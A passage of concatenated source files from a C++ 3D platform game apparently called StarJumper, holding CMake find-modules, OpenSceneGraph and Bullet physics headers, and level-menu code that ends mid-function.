FIND_OSG_LIBRARY(OSGVIEWER_LIBRARY osgViewer) FIND_OSG_LIBRARY(OSGGA_LIBRARY osgGA) FIND_OSG_LIBRARY(OSGDB_LIBRARY osgDB) FIND_OSG_LIBRARY(OSGUTIL_LIBRARY osgUtil) FIND_OSG_LIBRARY(OSG_LIBRARY osg) FIND_OSG_LIBRARY(OPENTHREADS_LIBRARY OpenThreads) FIND_OSG_LIBRARY(OSGPARTICLE osgParticle) SET( OSG_FOUND 0 ) IF( OSG_LIBRARIES AND OSG_INCLUDE_DIR ) SET( OSG_FOUND 1 ) SET( OSG_INCLUDE_DIRS ${OSG_INCLUDE_DIR} ${OSG_GEN_INCLUDE_DIR} ) GET_FILENAME_COMPONENT( OSG_LIBRARIES_DIR ${OSG_LIBRARY} PATH ) ENDIF( OSG_LIBRARIES AND OSG_INCLUDE_DIR ) <file_sep>#pragma once #include <osg/Group> #include <osg/BlendFunc> #include <osg/BlendColor> #include <osgViewer/Viewer> #include <osgShadow/ShadowedScene> #include <osgShadow/ShadowVolume> #include <osgShadow/ShadowTexture> #include <osgShadow/ShadowMap> #include <btBulletDynamicsCommon.h> #include <BulletCollision/CollisionDispatch/btGhostObject.h> #include "RapidXML/rapidxml.hpp" #include "RapidXML/rapidxml_iterators.hpp" #include "RapidXML/rapidxml_utils.hpp" #include "types.h" #include "LevelKeyboardHandler.h" #include "Player.h" #include "PlayerUpdater.h" #include "LazyCameraManipulator.h" #include "Cuboid.h" #include "CollisionModel.h" #include "HeadUpDisplay.h" #include "Sky.h" #include "Sound.h" #define PHYSICS_WORLD_MIN -1000, -1000, -1000 #define PHYSICS_WORLD_MAX 1000, 1000, 1000 #define PHYSICS_WORLD_GRAVITY btVector3(0.0, 0.0, -40.0) #define LEVEL_CAMERA_HOME_EYE osg::Vec3(0.0, 1.0, 2.0) #define LEVEL_CAMERA_HOME_CENTER osg::Vec3(0.0, 10.0, 0.0) #define LEVEL_CAMERA_HOME_UP osg::Vec3(0.0, -10.0, 5.0) class Level : public osg::Group { private: osg::ref_ptr<osgShadow::ShadowedScene> _shadowedScene; osg::ref_ptr<HeadUpDisplay> _headUpDisplay; size_t _numDeaths; bool _reachedFinish; btDynamicsWorld *_physicsWorld; std::vector<float> _deadlyAltitudes; std::vector<osg::Vec3> _finishs; LevelKeyboardHandler *_keyboardHandler; void initializeLighting(); void initializePhysicsWorld(); void loadMapFromFile(const std::string &mapfile); osg::Vec3 getVectorFromXMLNode(const std::string &name, const rapidxml::xml_node<> &node) const; public: Level(const std::string &mapfile); void playerDied(); std::vector<float> getDeadlyAltitudes() { return _deadlyAltitudes; } btDynamicsWorld *getPhysicsWorld() { return _physicsWorld; }; void resetScene(); void setReachedFinish(bool reachedFinish) { _reachedFinish = reachedFinish; } bool playerReachedFinish() { return _reachedFinish; } std::vector<osg::Vec3> getFinishs() { return _finishs; } LevelKeyboardHandler *getKeyboardHandler() { return _keyboardHandler; } HeadUpDisplay *getHeadUpDisplay() const; osgShadow::ShadowedScene* getShadowedScene() { return _shadowedScene; } size_t getNumDeaths() const; time_t getTime(); }; class LevelUpdater : public osg::NodeCallback { private: osg::BlendColor *_blendColor; Level *_level; float _previousStepTime; public: LevelUpdater(Level *level); virtual void operator()(osg::Node *node, osg::NodeVisitor *nv); };<file_sep>#include "CollisionObject.h" CollisionObject::CollisionObject() { setNodeMask(RECEIVE_SHADOW_MASK); }<file_sep># Locate Vorbis # This module defines # VORBIS_LIBRARY # VORBIS_FOUND, if false, do not try to link to Vorbis # VORBIS_INCLUDE_DIR, where to find the headers # # $VORBISDIR is an environment variable that would # correspond to the ./configure --prefix=$VORBISDIR # used in building Vorbis. # # Created by Sukender (<NAME>). Based on FindOpenAL.cmake module. # TODO Add hints for linux and Mac FIND_PATH(VORBIS_INCLUDE_DIR vorbis/codec.h HINTS $ENV{VORBISDIR} $ENV{VORBIS_PATH} PATH_SUFFIXES include PATHS ~/Library/Frameworks /Library/Frameworks /usr/local /usr /sw # Fink /opt/local # DarwinPorts /opt/csw # Blastwave /opt ) FIND_LIBRARY(VORBIS_LIBRARY vorbis HINTS $ENV{VORBISDIR} $ENV{VORBIS_PATH} PATH_SUFFIXES win32/Vorbis_Dynamic_Release PATHS ~/Library/Frameworks /Library/Frameworks /usr/local /usr /sw /opt/local /opt/csw /opt ) FIND_LIBRARY(VORBIS_LIBRARY_DEBUG vorbis_d HINTS $ENV{VORBISDIR} $ENV{VORBIS_PATH} PATH_SUFFIXES win32/Vorbis_Dynamic_Debug PATHS ~/Library/Frameworks /Library/Frameworks /usr/local /usr /sw /opt/local /opt/csw /opt ) SET(VORBIS_FOUND "NO") IF(VORBIS_LIBRARY AND VORBIS_INCLUDE_DIR) SET(VORBIS_FOUND "YES") ENDIF(VORBIS_LIBRARY AND VORBIS_INCLUDE_DIR) <file_sep>#pragma once #define RECEIVE_SHADOW_MASK 1 #define CAST_SHADOW_MASK 2 #define K_LEFT osgGA::GUIEventAdapter::KEY_Left #define K_RIGHT osgGA::GUIEventAdapter::KEY_Right #define K_UP osgGA::GUIEventAdapter::KEY_Up #define K_DOWN osgGA::GUIEventAdapter::KEY_Down #define K_JUMP osgGA::GUIEventAdapter::KEY_Space #define K_EXIT osgGA::GUIEventAdapter::KEY_Escape #define K_RETURN osgGA::GUIEventAdapter::KEY_Return #define K_PRESSED true #define K_RELEASED false <file_sep># Locate VorbisFile # This module defines # VORBISFILE_LIBRARY # VORBISFILE_FOUND, if false, do not try to link to VorbisFile # VORBISFILE_INCLUDE_DIR, where to find the headers # # $VORBISDIR is an environment variable that would # correspond to the ./configure --prefix=$VORBISDIR # used in building Vorbis. # # Created by Sukender (<NAME>). Based on FindOpenAL.cmake module. # TODO Add hints for linux and Mac FIND_PATH(VORBISFILE_INCLUDE_DIR vorbis/vorbisfile.h HINTS $ENV{VORBISDIR} $ENV{VORBIS_PATH} PATH_SUFFIXES include PATHS ~/Library/Frameworks /Library/Frameworks /usr/local /usr /sw # Fink /opt/local # DarwinPorts /opt/csw # Blastwave /opt ) FIND_LIBRARY(VORBISFILE_LIBRARY NAMES vorbisfile HINTS $ENV{VORBISDIR} $ENV{VORBIS_PATH} PATH_SUFFIXES win32/VorbisFile_Dynamic_Release PATHS ~/Library/Frameworks /Library/Frameworks /usr/local /usr /sw /opt/local /opt/csw /opt ) FIND_LIBRARY(VORBISFILE_LIBRARY_DEBUG NAMES vorbisfile_d HINTS $ENV{VORBISDIR} $ENV{VORBIS_PATH} PATH_SUFFIXES win32/VorbisFile_Dynamic_Debug PATHS ~/Library/Frameworks /Library/Frameworks /usr/local /usr /sw /opt/local /opt/csw /opt ) SET(VORBIS_FOUND "NO") IF(VORBIS_LIBRARY AND VORBIS_INCLUDE_DIR) SET(VORBIS_FOUND "YES") ENDIF(VORBIS_LIBRARY AND VORBIS_INCLUDE_DIR) <file_sep>#pragma once #include <osgGA/NodeTrackerManipulator> #define MAX_FRAME_DELAY 200.0 class LazyCameraManipulator : public osgGA::NodeTrackerManipulator { private: osg::Vec3 _oldNodePosition; osg::Vec3 _oldCameraPosition; osg::Vec3 _newCameraPosition; int _numSimulationSubSteps; int _directionOfMovementX; size_t _durationOfMovementX; bool _firstRun; bool _fadeOut; public: LazyCameraManipulator(); osg::Matrixd getInverseMatrix() const; bool handle(const osgGA::GUIEventAdapter& ea, osgGA::GUIActionAdapter& us); void calculateNextCameraPosition(); void resetCamera(); void fadeOut(); void setNumSimulationSubSteps(int numSimulationSubSteps) { _numSimulationSubSteps = numSimulationSubSteps; }; protected: ~LazyCameraManipulator(); }; <file_sep>#include <osgViewer/Viewer> #include "LevelMenu.h" #include "Sound.h" osgViewer::Viewer viewer; int main(int argc, char *argv[]) { // disable escape key for quitting viewer // we use an own escape implementation viewer.setKeyEventSetsDone(0); // configure viewer to use the primary screen only viewer.setUpViewOnSingleScreen(0); viewer.setThreadingModel(osgViewer::Viewer::SingleThreaded); // set background color viewer.getCamera()->setClearColor(osg::Vec4( 0., 0., 0., 1. )); viewer.getCamera()->setClearMask(GL_DEPTH_BUFFER_BIT); Sound::getInstance()->loadFromFile(MENU_MUSIC_FILE); Sound::getInstance()->loadFromFile(LEVEL_MUSIC_FILE); Sound::getInstance()->loadFromFile(JUMP_SOUND); osg::ref_ptr<LevelMenu> levelMenu = new LevelMenu(); viewer.setSceneData(levelMenu); viewer.run(); }<file_sep>#pragma once #include <osg/Geode> #include <osg/PositionAttitudeTransform> #include <osg/Material> #include <osg/BlendFunc> #include <osg/BlendColor> #include <osgDB/ReadFile> #include <osgViewer/Viewer> #include <btBulletDynamicsCommon.h> #include <osgbBullet/Utils.h> #include <osgbBullet/CollisionShapes.h> #include "CollisionObject.h" #define FINISH_MODEL_FILE "resources/models/finish.osg" #define TUNNEL_MODEL_FILE "resources/models/tunnel.osg" #define CUBOID_TUNNEL_MODEL_FILE "resources/models/tunnel_cuboid.osg" class CollisionModel : public CollisionObject { protected: osg::PositionAttitudeTransform *_transform; public: CollisionModel(); osg::PositionAttitudeTransform *getNode() { return _transform; } btRigidBody *getRigidBody(); virtual void collide() = 0; }; class Finish : public CollisionModel { public: Finish(osg::Vec3 position); void collide() { } }; class FinishUpdater : public osg::NodeCallback { private: double _previousStepTime; public: FinishUpdater(); virtual void operator()(osg::Node* node, osg::NodeVisitor* nv); }; class Tunnel : public CollisionModel { public: Tunnel(osg::Vec3 position, float length); void collide() { } }; class CuboidTunnel : public CollisionModel { public: CuboidTunnel(osg::Vec3 position, float length); void collide() { } };<file_sep>SET(SOURCE main.cpp LevelMenu.cpp MenuKeyboardHandler.cpp Level.cpp LevelKeyboardHandler.cpp Player.cpp PlayerState.cpp PlayerUpdater.cpp KinematicCharacterController.cpp LazyCameraManipulator.cpp CollisionObject.cpp CollisionModel.cpp Cuboid.cpp ParticleEffectFactory.cpp HeadUpDisplay.cpp Sky.cpp Sound.cpp ) #dirty! SET(HEADER ../include/types.h ../include/LevelMenu.h ../include/MenuKeyboardHandler.h ../include/Level.h ../include/LevelKeyboardHandler.h ../include/Player.h ../include/PlayerState.h ../include/PlayerUpdater.h ../include/KinematicCharacterController.h ../include/LazyCameraManipulator.h ../include/CollisionObject.h ../include/CollisionModel.h ../include/Cuboid.h ../include/ParticleEffectFactory.h ../include/HeadUpDisplay.h ../include/Sky.h ../include/Sound.h ) FIND_PACKAGE( OpenGL ) IF( APPLE ) SET( CMAKE_CXX_LINK_FLAGS "-framework OpenGL -framework GLUT" ) ENDIF( APPLE ) LINK_LIBRARIES( BulletDynamics BulletCollision LinearMath osgShadow ${OPENGL_gl_LIBRARY} ${OPENGL_glu_LIBRARY} ) SET(OPENAL_INCLUDE_DIRS ${OPENAL_INCLUDE_DIR}) INCLUDE_DIRECTORIES(${OPENSCENEGRAPH_INCLUDE_DIRS} ${OPENAL_INCLUDE_DIRS} lib/alure-1.1/include) ADD_EXECUTABLE( StarJumper ${SOURCE} ${HEADER} ) TARGET_LINK_LIBRARIES( StarJumper osgWidget Alure ${OPENAL_LIBRARY} ${OSG_LIBRARIES} ${OSGWORKS_LIBRARIES} ${BULLET_LIBRARIES} ${OSGBULLET_LIBRARIES} ) <file_sep>#pragma once #include <osg/Geode> #include <osg/Depth> #include <osg/Camera> #include <osg/ShapeDrawable> #include <osgViewer/Viewer> #include <osg/Drawable> #include <osg/Texture2D> #include "Player.h" #define BACKGROUND_IMAGE "resources/textures/space.jpg" class Sky : public osg::Referenced { private: osg::ref_ptr<osg::Camera> _camera; osg::PositionAttitudeTransform *_skyPat; public: Sky(); osg::Camera *getCamera(); void initializeCamera(); }; <file_sep>#pragma once #include <iostream> #include <LinearMath/btVector3.h> #include <btBulletDynamicsCommon.h> #include <BulletDynamics/Character/btCharacterControllerInterface.h> #include <BulletCollision/BroadphaseCollision/btCollisionAlgorithm.h> #define PLAYER_MASS 2.0f class btCollisionShape; class btRigidBody; class btCollisionWorld; class btCollisionDispatcher; class btPairCachingGhostObject; /** * The KinematicCharacterController - as the name suggests - is a customized version * of the btKinematicCharacterController provided by the Bullet Physics Library. * Basically it respects the worlds gravity for fall speed calculation and fixes jumping. * * For reference see http://www.bulletphysics.com/Bullet/BulletFull/classbtKinematicCharacterController.html */ class KinematicCharacterController : public btCharacterControllerInterface { protected: btScalar m_halfHeight; btPairCachingGhostObject *m_ghostObject; btConvexShape *m_convexShape; //is also in m_ghostObject, but it needs to be convex, so we store it here to avoid upcast btScalar m_fallSpeed; btScalar m_jumpSpeed; btScalar m_maxJumpHeight; btScalar m_turnAngle; btScalar m_stepHeight; btScalar m_addedMargin; ///this is the desired walk direction, set by the user btVector3 m_walkDirection; btVector3 m_normalizedDirection; //some internal variables btVector3 m_currentPosition; btScalar m_currentStepOffset; btVector3 m_targetPosition; ///keep track of the contact manifolds btManifoldArray m_manifoldArray; bool m_touchingContact; btVector3 m_touchingNormal; bool m_useGhostObjectSweepTest; bool m_useWalkDirection; float m_velocityTimeInterval; int m_upAxis; bool m_onGround; bool m_forwardHit; void *m_groundObject; btVector3 computeReflectionDirection(const btVector3 &direction, const btVector3 &normal); btVector3 parallelComponent(const btVector3 &direction, const btVector3 &normal); btVector3 perpindicularComponent(const btVector3 &direction, const btVector3 &normal); bool recoverFromPenetration(btCollisionWorld *collisionWorld); void stepUp(btCollisionWorld *collisionWorld); void updateTargetPositionBasedOnCollision(const btVector3 &hit_normal, btScalar tangentMag = btScalar(0.0), btScalar normalMag = btScalar(1.0)); void stepForwardAndStrafe(btCollisionWorld *collisionWorld, const btVector3 &walkMove); void stepDown(btCollisionWorld *collisionWorld, btScalar dt); public: KinematicCharacterController(btPairCachingGhostObject *ghostObject, btConvexShape *convexShape, btScalar stepHeight, int upAxis = 1); ~KinematicCharacterController(); virtual void updateAction(btCollisionWorld *collisionWorld, btScalar deltaTime) { preStep(collisionWorld); playerStep(collisionWorld, deltaTime); } void debugDraw(btIDebugDraw *debugDrawer); void setUpAxis(int axis) { if (axis < 0) axis = 0; if (axis > 2) axis = 2; m_upAxis = axis; } virtual void setWalkDirection(const btVector3 &walkDirection); virtual void setVelocityForTimeInterval(const btVector3 &velocity, btScalar timeInterval); void reset(); void warp(const btVector3 &origin); void preStep(btCollisionWorld *collisionWorld); void playerStep(btCollisionWorld *collisionWorld, btScalar dt); void setFallSpeed(btScalar fallSpeed); void setJumpSpeed(btScalar jumpSpeed); void setMaxJumpHeight(btScalar maxJumpHeight); bool canJump() const; bool frontalHit(); void jump(); btPairCachingGhostObject* getGhostObject(); void setUseGhostSweepTest(bool useGhostObjectSweepTest); bool onGround () const; void *getGroundObject(); }; <file_sep># Locate OGG # This module defines # OGG_LIBRARY # OGG_FOUND, if false, do not try to link to OGG # OGG_INCLUDE_DIR, where to find the headers # # $OGGDIR is an environment variable that would # correspond to the ./configure --prefix=$OGGDIR # used in building OGG. # # Created by Sukender (<NAME>). Based on FindOGG.cmake module. FIND_PATH(OGG_INCLUDE_DIR NAMES ogg/ogg.h ogg/os_types.h HINTS $ENV{OGGDIR} $ENV{OGG_PATH} PATH_SUFFIXES include PATHS ~/Library/Frameworks /Library/Frameworks /usr/local /usr /sw # Fink /opt/local # DarwinPorts /opt/csw # Blastwave /opt ) FIND_LIBRARY(OGG_LIBRARY ogg HINTS $ENV{OGGDIR} $ENV{OGG_PATH} PATH_SUFFIXES win32/Dynamic_Release lib PATHS ~/Library/Frameworks /Library/Frameworks /usr/local /usr /sw /opt/local /opt/csw /opt ) FIND_LIBRARY(OGG_LIBRARY_DEBUG ogg_d HINTS $ENV{OGGDIR} $ENV{OGG_PATH} PATH_SUFFIXES win32/Dynamic_Debug lib PATHS ~/Library/Frameworks /Library/Frameworks /usr/local /usr /sw /opt/local /opt/csw /opt ) SET(OGG_FOUND "NO") IF(OGG_LIBRARY AND OGG_INCLUDE_DIR) SET(OGG_FOUND "YES") ENDIF(OGG_LIBRARY AND OGG_INCLUDE_DIR) <file_sep>#include "CollisionModel.h" extern osgViewer::Viewer viewer; CollisionModel::CollisionModel() { _transform = new osg::PositionAttitudeTransform(); _transform->setNodeMask(RECEIVE_SHADOW_MASK); } btRigidBody *CollisionModel::getRigidBody() { btCollisionShape *mesh = osgbBullet::btTriMeshCollisionShapeFromOSG(_transform); btDefaultMotionState *msGoal = new btDefaultMotionState(); btRigidBody::btRigidBodyConstructionInfo rbciGoal(0, msGoal, mesh, btVector3(0, 0, 0)); btRigidBody *rigidBody = new btRigidBody(rbciGoal); rigidBody->setUserPointer(this); return rigidBody; } Finish::Finish(osg::Vec3 position) : CollisionModel() { osg::Node *tunnelModel = osgDB::readNodeFile(FINISH_MODEL_FILE); _transform->addChild(tunnelModel); _transform->setPosition(position); _transform->setScale(osg::Vec3f(2.0f, 2.0f, 2.0f)); _transform->setAttitude(osg::Quat(osg::DegreesToRadians(180.0f), osg::Vec3(0.0,1.0,0.0))); FinishUpdater *finishUpdater = new FinishUpdater(); _transform->setUpdateCallback(finishUpdater); osg::StateSet* stateSet = new osg::StateSet(); stateSet->setMode(GL_ALPHA_TEST, osg::StateAttribute::ON); stateSet->setMode(GL_BLEND, osg::StateAttribute::ON); stateSet->setRenderBinDetails( 0, "RenderBin"); tunnelModel->setStateSet(stateSet); } FinishUpdater::FinishUpdater() : _previousStepTime(0.0f) { } void FinishUpdater::operator()(osg::Node* node, osg::NodeVisitor* nv) { double currentStepTime = viewer.getFrameStamp()->getSimulationTime(); if(_previousStepTime > 0.0f) { osg::PositionAttitudeTransform *finish = dynamic_cast<osg::PositionAttitudeTransform *>(node); osg::Quat attitude = finish->getAttitude(); osg::Quat::value_type angle; osg::Vec3 axis; attitude.getRotate(angle, axis); float degrees = osg::RadiansToDegrees(angle) + ((currentStepTime-_previousStepTime) * 50.0f); degrees = (degrees > 360) ? degrees - 360 : degrees; finish->setAttitude(osg::Quat(osg::DegreesToRadians(degrees), axis)); } _previousStepTime = currentStepTime; } Tunnel::Tunnel(osg::Vec3 position, float length) : CollisionModel() { osg::Node *tunnelModel = osgDB::readNodeFile(TUNNEL_MODEL_FILE); _transform->addChild(tunnelModel); _transform->setPosition(position); _transform->setScale(osg::Vec3f(2.0f, length, 2.0f)); } CuboidTunnel::CuboidTunnel(osg::Vec3 position, float length) : CollisionModel() { osg::Node *tunnelModel = osgDB::readNodeFile(CUBOID_TUNNEL_MODEL_FILE); _transform->addChild(tunnelModel); _transform->setPosition(position); _transform->setScale(osg::Vec3f(2.0f, length, 2.0f)); }<file_sep>#pragma once #include <stdexcept> #include <osg/PositionAttitudeTransform> #include <osgDB/ReadFile> #include <btBulletDynamicsCommon.h> #include <BulletCollision/CollisionDispatch/btGhostObject.h> #include <osgbBullet/Utils.h> #include <osgbBullet/CollisionShapes.h> #include "KinematicCharacterController.h" #include "PlayerState.h" #include "ParticleEffectFactory.h" #define PLAYER_MODEL "resources/models/player.osg" #define PLAYER_SCALE osg::Vec3(0.2, 0.2, 0.2) #define PLAYER_ATTITUDE osg::Quat(osg::DegreesToRadians(180.0f), osg::Vec3(0.0,0.0,1.0)) #define PLAYER_HOME_POSITION osg::Vec3(0.0, 10.0, 5.0) #define PLAYER_BBOX_EXTENTS btVector3(0.5, 0.5, 0.5) #define ACCELERATE true #define DECELERATE false class Player : public osg::PositionAttitudeTransform { private: PlayerState *_playerState; ParticleEffect *_mainEngine; ParticleEffect *_leftEngine; ParticleEffect *_rightEngine; osg::ref_ptr<osg::Group> _particleEffects; static osg::ref_ptr<Player> _instance; btPairCachingGhostObject *_playerGhostObject; KinematicCharacterController *_playerController; Player(); void loadPlayerModel(); void initializePlayerEffects(); void initializePhysics(); public: static Player *getInstance(); static void reset(); KinematicCharacterController *getController() const { return _playerController; } btPairCachingGhostObject *getGhostObject() const { return _playerGhostObject; } PlayerState *getPlayerState() const { return _playerState; } osg::ref_ptr<osg::Group> getParticleEffects() { return _particleEffects; } void setAngles(const float angleX = 0.0f, const float angleY = 0.0f, const float angleZ = 180.0f); void setEngines(const float speed, bool accelerating); void resetPosition(); }; <file_sep>#include <sstream> #include "LevelMenu.h" #include "MenuKeyboardHandler.h" extern osgViewer::Viewer viewer; LevelMenu::LevelMenu() : _currentLevel(NULL), _currentItemIndex(0) { _menuPat = new osg::PositionAttitudeTransform(); _menuPat->getOrCreateStateSet()->setMode(GL_LIGHTING, osg::StateAttribute::OFF); _keyboardHandler = new MenuKeyboardHandler(this); viewer.addEventHandler(_keyboardHandler); initializeCamera(); initializeHeader(); initializeBackgroundAnimation(); initializeSelector(); loadLevels(); updateDetails(); viewer.getCamera()->setUpdateCallback(new LevelMenuUpdater(this)); Sound::getInstance()->playInLoop(MENU_MUSIC_FILE); } void LevelMenu::initializeHeader() { osg::PositionAttitudeTransform *headerPat = new osg::PositionAttitudeTransform(); osg::Geode *headerGeode = new osg::Geode(); osg::Geometry *textureDrawable = new osg::Geometry(); osg::Texture2D *texture; osg::Vec3Array *vertices = new osg::Vec3Array(); { vertices->push_back(osg::Vec3(0, 0, 0)); vertices->push_back(osg::Vec3(436, 0, 0)); vertices->push_back(osg::Vec3(436, 75, 0)); vertices->push_back(osg::Vec3(0, 75, 0)); } textureDrawable->setVertexArray( vertices ); osg::DrawElementsUInt *face = new osg::DrawElementsUInt(osg::PrimitiveSet::QUADS, 0); face->push_back(0); face->push_back(1); face->push_back(2); face->push_back(3); textureDrawable->addPrimitiveSet(face); osg::Vec2Array* texcoords = new osg::Vec2Array(4); { (*texcoords)[0].set(0.0f, 0.0f); (*texcoords)[1].set(1.0f, 0.0f); (*texcoords)[2].set(1.0f, 1.0f); (*texcoords)[3].set(0.0f, 1.0f); textureDrawable->setTexCoordArray(0, texcoords); } texture = new osg::Texture2D; texture->setDataVariance(osg::Object::DYNAMIC); texture->setWrap(osg::Texture::WRAP_S, osg::Texture::REPEAT); texture->setWrap(osg::Texture::WRAP_T, osg::Texture::REPEAT); osg::StateSet* stateSet = new osg::StateSet(); stateSet->setTextureAttributeAndModes(0, texture, osg::StateAttribute::ON); textureDrawable->setStateSet(stateSet); headerGeode->addDrawable(textureDrawable); headerPat->addChild(headerGeode); _menuPat->addChild(headerPat); headerPat->setPosition(osg::Vec3(100, viewer.getCamera()->getViewport()->height() - 125, -0.01)); osg::Image *image = osgDB::readImageFile(LEVEL_HEADER_TEXTURE); texture->setImage(image); } void LevelMenu::initializeBackgroundAnimation() { osg::Node* rotModel = osgDB::readNodeFile(MENU_BACKGROUND_MODEL); if(!rotModel) { throw std::runtime_error("Unable to load player model file!"); } _background = new osg::MatrixTransform; _background->addChild(rotModel); osg::MatrixTransform* transMatrix = new osg::MatrixTransform; transMatrix->addChild(_background); transMatrix->setMatrix(osg::Matrix::translate(-2.0, 20.0, -5.0) * osg::Matrix::scale(1.0, 1.0, 1.0)); addChild(transMatrix); } void LevelMenu::initializeCamera() { _camera = new osg::Camera(); _camera->setProjectionMatrix(osg::Matrix::ortho2D(0, viewer.getCamera()->getViewport()->width(), 0, viewer.getCamera()->getViewport()->height())); _camera->setReferenceFrame(osg::Transform::ABSOLUTE_RF); _camera->setViewMatrix(osg::Matrix::identity()); _camera->setClearColor(osg::Vec4(0.0f, 0.0f, 0.0f, 1.0f)); _camera->setClearMask(GL_COLOR_BUFFER_BIT | GL_DEPTH_BUFFER_BIT); _camera->setRenderOrder(osg::Camera::PRE_RENDER); _camera->addChild(_menuPat); addChild(_camera); } void LevelMenu::resetCamera() { viewer.setCameraManipulator(NULL); viewer.getCamera()->setViewMatrixAsLookAt(MENU_CAMERA_HOME_EYE, MENU_CAMERA_HOME_CENTER, MENU_CAMERA_HOME_UP); } void LevelMenu::initializeSelector() { osg::PositionAttitudeTransform *selectorPat = new osg::PositionAttitudeTransform(); osg::Geode *selectorGeode = new osg::Geode(); osg::Geometry *textureDrawable = new osg::Geometry(); osg::Texture2D *texture; osg::Vec3Array *vertices = new osg::Vec3Array(); { vertices->push_back(osg::Vec3(0, 0, 0)); vertices->push_back(osg::Vec3(682, 0, 0)); vertices->push_back(osg::Vec3(682, 172, 0)); vertices->push_back(osg::Vec3(0, 172, 0)); } textureDrawable->setVertexArray( vertices ); osg::DrawElementsUInt *face = new osg::DrawElementsUInt(osg::PrimitiveSet::QUADS, 0); face->push_back(0); face->push_back(1); face->push_back(2); face->push_back(3); textureDrawable->addPrimitiveSet(face); osg::Vec2Array* texcoords = new osg::Vec2Array(4); { (*texcoords)[0].set(0.0f, 0.0f); (*texcoords)[1].set(1.0f, 0.0f); (*texcoords)[2].set(1.0f, 1.0f); (*texcoords)[3].set(0.0f, 1.0f); textureDrawable->setTexCoordArray(0, texcoords); } texture = new osg::Texture2D; texture->setDataVariance(osg::Object::DYNAMIC); texture->setWrap(osg::Texture::WRAP_S, osg::Texture::REPEAT); texture->setWrap(osg::Texture::WRAP_T, osg::Texture::REPEAT); osg::StateSet* stateSet = new osg::StateSet(); stateSet->setTextureAttributeAndModes(0, texture, osg::StateAttribute::ON); textureDrawable->setStateSet(stateSet); selectorGeode->addDrawable(textureDrawable); selectorPat->addChild(selectorGeode); _menuPat->addChild(selectorPat); selectorPat->setPosition(osg::Vec3(viewer.getCamera()->getViewport()->width() - 900, viewer.getCamera()->getViewport()->height() - 325, -0.01)); osg::Image *image = osgDB::readImageFile(LEVEL_SELECTOR_TEXTURE); texture->setImage(image); ////////////////// osg::PositionAttitudeTransform *detailsPat = new osg::PositionAttitudeTransform(); // completions { osg::Geode *completionsNode = new osg::Geode(); _completionsText = new osgText::Text(); _completionsText->setFont(MENU_FONT); _completionsText->setCharacterSize(MENU_DETAIL_FONT_SIZE); _completionsText->setPosition(osg::Vec3(0, - MENU_ITEM_HEIGHT, 0)); completionsNode->addDrawable(_completionsText); detailsPat->addChild(completionsNode); } // deaths { osg::Geode *deathsNode = new osg::Geode(); _deathsText = new osgText::Text(); _deathsText->setFont(MENU_FONT); _deathsText->setCharacterSize(MENU_DETAIL_FONT_SIZE); _deathsText->setPosition(osg::Vec3(0, - MENU_ITEM_HEIGHT * 2, 0)); deathsNode->addDrawable(_deathsText); detailsPat->addChild(deathsNode); } // best time { osg::Geode *bestTimeNode = new osg::Geode(); _bestTimeText = new osgText::Text(); _bestTimeText->setFont(MENU_FONT); _bestTimeText->setCharacterSize(MENU_DETAIL_FONT_SIZE); _bestTimeText->setPosition(osg::Vec3(0, - MENU_ITEM_HEIGHT * 3, 0)); bestTimeNode->addDrawable(_bestTimeText); detailsPat->addChild(bestTimeNode); } detailsPat->setPosition(osg::Vec3(viewer.getCamera()->getViewport()->width() - 860, viewer.getCamera()->getViewport()->height() - 170, 0)); _menuPat->addChild(detailsPat); } void LevelMenu::loadLevels() { _itemsPat = new osg::PositionAttitudeTransform(); _itemsPat->setPosition(osg::Vec3(viewer.getCamera()->getViewport()->width() - 400, viewer.getCamera()->getViewport()->height() - 250, 0)); // load XML document rapidxml::file<> mf(LEVEL_OVERVIEW_FILE); rapidxml::xml_document<> xml_doc; xml_doc.parse<0>(mf.data()); int itemIndex = 0; // parse XML document for(rapidxml::node_iterator<char> it(xml_doc.first_node()); it.dereference() != NULL; ++it, ++itemIndex) { if(strcmp(it->name(), "road") == 0) { std::string name = it->first_attribute("name")->value(); osg::Geode *itemNode = new osg::Geode(); osgText::Text *text = new osgText::Text(); text->setFont(MENU_FONT); text->setPosition(osg::Vec3(0, - (itemIndex * MENU_ITEM_HEIGHT), 0)); text->setText(name); itemNode->addDrawable(text); _itemsPat->addChild(itemNode); std::map<std::string, std::string> item; item["name"] = it->first_attribute("name")->value(); item["filename"] = it->first_attribute("filename")->value(); item["besttime"] = it->first_attribute("besttime")->value(); item["completions"] = it->first_attribute("completions")->value(); item["deaths"] = it->first_attribute("deaths")->value(); _items.push_back(item); } else { throw std::runtime_error("Error: Unrecognized element in level file!"); } } _menuPat->addChild(_itemsPat); } void LevelMenu::selectPreviousItem() { if(_currentItemIndex > 0) { _itemsPat->setPosition(_itemsPat->getPosition() - osg::Vec3(0, MENU_ITEM_HEIGHT, 0)); _currentItemIndex--; updateDetails(); } } void LevelMenu::selectNextItem() { if(_currentItemIndex < _items.size() - 1) { _itemsPat->setPosition(_itemsPat->getPosition() + osg::Vec3(0, MENU_ITEM_HEIGHT, 0)); _currentItemIndex++; updateDetails(); } } void LevelMenu::updateDetails() { _completionsText->setText("Completions: " + _items[_currentItemIndex]["completions"]); _deathsText->setText("Deaths: " + _items[_currentItemIndex]["deaths"]); if(_items[_currentItemIndex]["besttime"] == "") _bestTimeText->setText("Best Time: --:--:--"); else { time_t t = (time_t)atol(_items[_currentItemIndex]["besttime"].c_str()); // extract miliseconds, seconds and minutes time_t ms = t % 100; time_t s = (t / 100) % 60; time_t m = (t / 100 / 60) % 60; // construct time string std::stringstream ss; ss << (m < 10 ? "0" : "") << m << ":" << (s < 10 ? "0" : "") << s << ":" << (ms < 10 ? "0" : "") << ms; _bestTimeText->setText("Best Time: " + ss.str()); } } void LevelMenu::runSelectedLevel() { _currentLevel = new Level(_items[_currentItemIndex]["filename"]); viewer.setSceneData(_currentLevel); } void LevelMenu::returnFromLevel() { if(_currentLevel->playerReachedFinish()) { // update completions { std::stringstream ss; ss << atoi(_items[_currentItemIndex]["completions"].c_str()) + 1; _items[_currentItemIndex]["completions"] = ss.str(); } // update best time { time_t t = _currentLevel->getTime(); if(_items[_currentItemIndex]["besttime"] == "" | t < atol(_items[_currentItemIndex]["besttime"].c_str())) { std::stringstream ss; ss << t; _items[_currentItemIndex]["besttime"] = ss.str(); } } } // update number of deaths { std::stringstream ss; ss << atoi(_items[_currentItemIndex]["deaths"].c_str()) + _currentLevel->getNumDeaths(); _items[_currentItemIndex]["deaths"] = ss.str(); } viewer.setCameraManipulator(NULL); viewer.getCamera()->setViewMatrixAsLookAt(MENU_CAMERA_HOME_EYE, MENU_CAMERA_HOME_CENTER, 